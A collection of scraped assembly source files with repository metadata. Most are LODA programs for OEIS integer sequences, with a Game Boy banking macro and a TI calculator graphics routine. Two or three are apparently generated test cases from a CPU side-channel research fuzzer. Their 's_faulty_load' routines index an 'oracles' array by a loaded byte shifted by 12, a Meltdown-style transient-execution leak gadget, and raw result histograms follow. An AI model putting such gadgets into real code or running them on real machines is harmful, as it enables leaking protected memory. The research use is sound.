lea addresses_WT_ht+0x15ce, %r11
clflush (%r11)
nop
nop
nop
nop
sub $6887, %rdi
mov $0x6162636465666768, %r15
movq %r15, %xmm7
movups %xmm7, (%r11)
nop
nop
nop
nop
nop
add %rdi, %rdi
pop %rdx
pop %rdi
pop %rbp
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %rax
push %rbp
push %rcx
// Store
lea addresses_A+0x18fce, %r11
nop
nop
nop
nop
nop
cmp %rcx, %rcx
mov $0x5152535455565758, %rbp
movq %rbp, (%r11)
and %r8, %r8
// Store
lea addresses_WC+0xbae0, %r12
nop
nop
nop
nop
and %rax, %rax
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
vmovups %ymm5, (%r12)
nop
nop
nop
nop
dec %rax
// Faulty Load
lea addresses_D+0x9fce, %rbp
nop
nop
nop
nop
nop
xor $17711, %r10
mov (%rbp), %rcx
lea oracles, %r11
and $0xff, %rcx
shlq $12, %rcx
mov (%r11,%rcx,1), %rcx
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
||||
TheStack | 030188840b2f3f2dc4fab5376951f6f85ef2afbf | Assemblycode:Assembly | {"size": 675, "ext": "asm", "max_stars_repo_path": "oeis/262/A262183.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/262/A262183.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/262/A262183.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 51.9230769231, "max_line_length": 498, "alphanum_fraction": 0.8222222222} | ; A262183: a(0) = 0, a(n) = 10*a(n-1) + n*(n+1)*(n+2)/6.
; 0,1,14,150,1520,15235,152406,1524144,15241560,152415765,1524157870,15241578986,152415790224,1524157902695,15241579027510,152415790275780,1524157902758616,15241579027587129,152415790275872430,1524157902758725630,15241579027587257840,152415790275872580171,1524157902758725803734,15241579027587258039640,152415790275872580399000,1524157902758725803992925,15241579027587258039932526,152415790275872580399328914,1524157902758725803993293200,15241579027587258039932936495,152415790275872580399329369910
lpb $0
mov $2,$0
sub $0,1
seq $2,52262 ; Partial sums of A014824.
mul $2,2
add $3,$2
lpe
mov $0,$3
div $0,2
|
||||
TheStack | fcc57e722989ad4226accaecc1c417b9bf818507 | Assemblycode:Assembly | {"size": 508, "ext": "asm", "max_stars_repo_path": "programs/oeis/007/A007482.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/007/A007482.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/007/A007482.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 33.8666666667, "max_line_length": 285, "alphanum_fraction": 0.7519685039} | ; A007482: a(n) is the number of subsequences of [ 1, ..., 2n ] in which each odd number has an even neighbor.
; 1,3,11,39,139,495,1763,6279,22363,79647,283667,1010295,3598219,12815247,45642179,162557031,578955451,2061980415,7343852147,26155517271,93154256107,331773802863,1181629920803,4208437368135,14988571946011,53382590574303,190124915614931,677139927993399,2411669615210059,8589288701616975
mul $0,2
mov $1,1
lpb $0
sub $0,2
add $1,$2
mov $3,$2
mov $2,$1
add $2,$1
add $1,$3
lpe
add $1,$2
|
||||
TheStack | e9402d0ca65fd582a08c89181d5ee5685f05c011 | Assemblycode:Assembly | {"size": 379, "ext": "asm", "max_stars_repo_path": "programs/oeis/215/A215537.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/215/A215537.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/215/A215537.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 34.4545454545, "max_line_length": 211, "alphanum_fraction": 0.6596306069} | ; A215537: Lowest k such that k is representable as both the sum of n and of n+1 nonzero squares.
; 25,17,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79
mov $2,$0
sub $0,2
mul $0,-9
trn $0,3
add $0,$2
mov $1,$0
add $1,10
|
||||
TheStack | 1f5663a55d3290ecfd98c4505418bc1a03ff04ad | Assemblycode:Assembly | {"size": 1156, "ext": "asm", "max_stars_repo_path": "home/16bit.asm", "max_stars_repo_name": "FieryMewtwo/aedx", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "home/16bit.asm", "max_issues_repo_name": "FieryMewtwo/aedx", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "home/16bit.asm", "max_forks_repo_name": "FieryMewtwo/aedx", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 21.8113207547, "max_line_length": 88, "alphanum_fraction": 0.6384083045} | ___conversion_table_homecall: MACRO
; macro arguments: homecall type, function label
; all functions clobber af and hl (except for outputs) and preserve bc and de
; homecall types:
; - read: index to ID conversion (in: a = 8-bit ID; out: hl = 16-bit index)
; - write: ID to index conversion (in: hl = 16-bit index; out: a = 8-bit ID)
; - lock: ID locking (in: a = ID (or zero to unlock), l = position; out: a = preserved)
if strcmp("\1", "read") && strcmp("\1", "write") && strcmp("\1", "lock")
fail "16-bit homecall: invalid call type"
endc
if "\1" != "write"
ld h, a
endc
ldh a, [hROMBank]
push af
ld a, BANK(\2)
rst Bankswitch
if "\1" == "read"
ld a, h
endc
call \2
if "\1" != "read"
ld l, a
endc
pop af
rst Bankswitch
if "\1" != "read"
ld a, l
endc
ret
ENDM
___conversion_table_homecall_readlocked: MACRO
; macro argument: table name
; in: a = position
; out: a = 8-bit index; everything else preserved
push hl
add a, LOW(\1LockedEntries)
ld l, a
ldh a, [rSVBK]
ld h, a
ld a, BANK(\1LockedEntries)
ldh [rSVBK], a
ld a, h
ld h, HIGH(\1LockedEntries)
ld l, [hl]
ldh [rSVBK], a
ld a, l
pop hl
ret
ENDM
|
||||
TheStack | 71ef3433ad68a0084623a3460239355dd2d209be | Assemblycode:Assembly | {"size": 1529, "ext": "asm", "max_stars_repo_path": "programs/oeis/146/A146994.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "programs/oeis/146/A146994.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/146/A146994.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 58.8076923077, "max_line_length": 1219, "alphanum_fraction": 0.7226945716} | ; A146994: a(n) = (n+1)^2/4 + (floor((n+5)/6) - 1/4) * ((n+1) mod 2).
; 1,3,4,7,9,13,16,22,25,32,36,44,49,59,64,75,81,93,100,114,121,136,144,160,169,187,196,215,225,245,256,278,289,312,324,348,361,387,400,427,441,469,484,514,529,560,576,608,625,659,676,711,729,765,784,822,841,880,900,940,961,1003,1024,1067,1089,1133,1156,1202,1225,1272,1296,1344,1369,1419,1444,1495,1521,1573,1600,1654,1681,1736,1764,1820,1849,1907,1936,1995,2025,2085,2116,2178,2209,2272,2304,2368,2401,2467,2500,2567,2601,2669,2704,2774,2809,2880,2916,2988,3025,3099,3136,3211,3249,3325,3364,3442,3481,3560,3600,3680,3721,3803,3844,3927,3969,4053,4096,4182,4225,4312,4356,4444,4489,4579,4624,4715,4761,4853,4900,4994,5041,5136,5184,5280,5329,5427,5476,5575,5625,5725,5776,5878,5929,6032,6084,6188,6241,6347,6400,6507,6561,6669,6724,6834,6889,7000,7056,7168,7225,7339,7396,7511,7569,7685,7744,7862,7921,8040,8100,8220,8281,8403,8464,8587,8649,8773,8836,8962,9025,9152,9216,9344,9409,9539,9604,9735,9801,9933,10000,10134,10201,10336,10404,10540,10609,10747,10816,10955,11025,11165,11236,11378,11449,11592,11664,11808,11881,12027,12100,12247,12321,12469,12544,12694,12769,12920,12996,13148,13225,13379,13456,13611,13689,13845,13924,14082,14161,14320,14400,14560,14641,14803,14884,15047,15129,15293,15376,15542,15625,15792
mov $2,$0
add $2,1
mov $7,$0
lpb $2,1
mov $0,$7
sub $2,1
sub $0,$2
add $0,1
mov $4,$0
gcd $4,2
mov $6,$0
mul $6,$4
mov $0,$6
add $0,4
mov $3,$0
add $3,1
mul $3,2
div $3,6
mov $5,$3
sub $5,1
add $1,$5
lpe
|
||||
TheStack | 57344e55b566f46f1168fd4234e431e32ca56269 | Assemblycode:Assembly | {"size": 7347, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1860.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1860.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1860.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 31.9434782609, "max_line_length": 2999, "alphanum_fraction": 0.6549612087} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x10928, %rsi
lea addresses_normal_ht+0x17d28, %rdi
clflush (%rsi)
nop
nop
nop
nop
xor %r14, %r14
mov $28, %rcx
rep movsq
nop
nop
xor $41171, %rdi
lea addresses_WC_ht+0x1c228, %rsi
lea addresses_normal_ht+0x8968, %rdi
nop
nop
nop
nop
xor $14467, %r15
mov $117, %rcx
rep movsw
nop
nop
nop
add %rdi, %rdi
lea addresses_A_ht+0x5728, %rbp
nop
nop
nop
nop
dec %r11
mov $0x6162636465666768, %r15
movq %r15, %xmm3
movups %xmm3, (%rbp)
nop
add $61387, %rsi
lea addresses_WT_ht+0x10a28, %rcx
inc %r11
movb (%rcx), %r14b
nop
nop
and $34434, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_D+0x1895b, %r8
nop
nop
nop
xor $13462, %r9
movl $0x51525354, (%r8)
nop
nop
cmp %r9, %r9
// REPMOV
lea addresses_WT+0x185db, %rsi
lea addresses_PSE+0x84a8, %rdi
nop
add $7836, %rbp
mov $43, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rcx
// Store
lea addresses_UC+0x1dcd9, %r9
nop
nop
xor $45975, %rsi
movw $0x5152, (%r9)
xor $27250, %rbp
// REPMOV
lea addresses_RW+0x18928, %rsi
lea addresses_WC+0x3da8, %rdi
nop
nop
nop
xor %r11, %r11
mov $123, %rcx
rep movsw
nop
nop
nop
sub $8042, %rcx
// Store
lea addresses_normal+0x6d28, %rcx
nop
nop
nop
nop
and %r15, %r15
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
movups %xmm7, (%rcx)
nop
nop
nop
nop
xor $27268, %rsi
// REPMOV
lea addresses_WC+0x6528, %rsi
lea addresses_WC+0xac28, %rdi
nop
nop
nop
nop
nop
add $37754, %rbp
mov $94, %rcx
rep movsq
nop
nop
nop
cmp %rsi, %rsi
// Store
lea addresses_RW+0x128a8, %r8
sub $18815, %rbp
movw $0x5152, (%r8)
nop
nop
nop
xor $6655, %r11
// Store
lea addresses_normal+0x1aaa8, %rcx
nop
nop
nop
nop
and %r8, %r8
movl $0x51525354, (%rcx)
nop
nop
nop
inc %r11
// Load
mov $0x4d2d830000000128, %rcx
add %rdi, %rdi
movaps (%rcx), %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
nop
cmp %r11, %r11
// Faulty Load
lea addresses_RW+0x18928, %r11
nop
nop
nop
nop
nop
add $16494, %rbp
mov (%r11), %r15d
lea oracles, %r9
and $0xff, %r15
shlq $12, %r15
mov (%r9,%r15,1), %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_RW', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_WC', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
||||
TheStack | c540fe2693b8fa6e95cd9cc10adab1f8c37e41f1 | Assemblycode:Assembly | {"size": 473, "ext": "asm", "max_stars_repo_path": "programs/oeis/069/A069547.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/069/A069547.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/069/A069547.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 47.3, "max_line_length": 339, "alphanum_fraction": 0.6807610994} | ; A069547: n^2 mod n-th prime.
; 1,1,4,2,3,10,15,7,12,13,28,33,5,24,37,44,53,19,26,45,3,10,31,42,43,70,8,35,78,109,72,107,130,44,33,88,113,140,18,43,70,135,130,6,55,126,99,74,131,210,38,75,158,155,198,243,21,112,157,228,42,35,285,53,156,235,186,243,250,14,99,158,191,254,319,31,94,129,226,265,276,409,424,128,201,308,385,432,84,229,342,321,370,489,43,162,247,226,387,262
mov $1,$0
add $0,2
mul $0,$1
seq $1,6005 ; The odd prime numbers together with 1.
mod $0,$1
add $0,1
|
||||
TheStack | fecad2d952e197f53fd08982df58e2436c2231f0 | Assemblycode:Assembly | {"size": 428, "ext": "asm", "max_stars_repo_path": "libsrc/graphics/ticalc/closegfx.asm", "max_stars_repo_name": "meesokim/z88dk", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libsrc/graphics/ticalc/closegfx.asm", "max_issues_repo_name": "meesokim/z88dk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/graphics/ticalc/closegfx.asm", "max_forks_repo_name": "meesokim/z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 13.375, "max_line_length": 59, "alphanum_fraction": 0.6775700935} | ;
; Graphics for the TI82
; By Stefano Bodrato - Dec. 2000
;
; CLOSEGFX - wait for keypress
;
;
; $Id: closegfx.asm,v 1.4 2015/01/23 07:07:31 stefano Exp $
;
PUBLIC closegfx
.closegfx
IF FORti82
; This is called before scrolling: we wait for any keypress
.kloop
;halt ; Power saving (?? maybe. It worked on ti86)
ld hl,$8004
bit 2,(hl)
jr z,kloop
ENDIF
IF FORti83
.kloop
call $4CFE
and a
jr z,kloop
ENDIF
ret
|
||||
TheStack | 3ee433c9781daf329e0f5a82ab1539c17c98cc4e | Assemblycode:Assembly | {"size": 5543, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1218.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1218.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1218.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, 